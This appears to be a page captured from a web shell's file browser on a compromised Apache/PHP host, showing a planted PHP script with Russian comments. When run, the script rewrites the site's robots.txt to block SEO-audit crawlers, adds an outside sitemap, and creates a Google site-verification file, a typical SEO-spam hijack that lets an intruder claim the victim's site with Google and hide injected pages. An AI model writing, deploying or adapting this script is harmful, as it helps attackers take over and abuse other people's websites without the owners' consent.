HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: u106391720 (10342218)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /homepages/34/d890102484/htdocs/sites/tesoftV2/2.php
<?php
// Ввод данных
$SitemapPath = 'sitemap22.xml'; // Введите значение после слеша, например, ?feed=xmlsitemap001
$googleVerificationCode = 'googleb295d063a1ed823a.html'; // Введите код верификации Google

// Остальной код
$file = 'robots.txt';
$searchText = "User-agent: Baiduspider\nDisallow: /\nUser-agent: AhrefsBot\nDisallow: /\nUser-agent: MJ12bot\nDisallow: /\nUser-agent: BLEXBot\nDisallow: /\nUser-agent: DotBot\nDisallow: /\nUser-agent: SemrushBot\nDisallow: /\nUser-agent: YandexBot\nDisallow: /\nUser-agent: *\nAllow: /";
$searchPattern = "/User-agent: Baiduspider\s*\nDisallow: \/\s*\nUser-agent: AhrefsBot\s*\nDisallow: \/\s*\nUser-agent: MJ12bot\s*\nDisallow: \/\s*\nUser-agent: BLEXBot\s*\nDisallow: \/\s*\nUser-agent: DotBot\s*\nDisallow: \/\s*\nUser-agent: SemrushBot\s*\nDisallow: \/\s*\nUser-agent: YandexBot\s*\nDisallow: \/\s*\nUser-agent: \*\s*\nAllow: /";

// Получаем текущий URL
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

// Извлекаем имя хоста из URL
$parsedUrl = parse_url($currentUrl);
$host = $parsedUrl['host'];

// Формируем значение для Sitemap
$Sitemap = "http://{$host}/{$SitemapPath}";
$additionalText = "\nSitemap: {$Sitemap}";

if (file_exists($file)) {
  $content = file_get_contents($file);

  if (preg_match($searchPattern, $content)) {
    if (strpos($content, $additionalText) === false) {
      file_put_contents($file, $content . $additionalText, LOCK_EX);
      echo "Sitemap added\n";
    } else {
      echo "Sitemap already exists\n";
    }
  } else {
    file_put_contents($file, $searchText . $additionalText, LOCK_EX);
    echo "robots was correctly changed\n";
  }
} else {
  if (file_put_contents($file, $searchText . $additionalText, LOCK_EX) !== false) {
    echo "robots was created correctly\n";
  } else {
    echo "Something went wrong!\n";
  }
}

// Создание файла google-site-verification
$googleFile = $googleVerificationCode; // Используем значение переменной для имени файла
$googleFileContent = 'google-site-verification: ' . $googleVerificationCode;

if (file_put_contents($googleFile, $googleFileContent) !== false) {
  $fileContent = file_get_contents($googleFile);
  if ($fileContent === $googleFileContent) {
    echo "File was created successfully\n";
  } else {
    echo "File was created but content is incorrect!\n";
  }
} else {
  echo "Something went wrong!\n";
}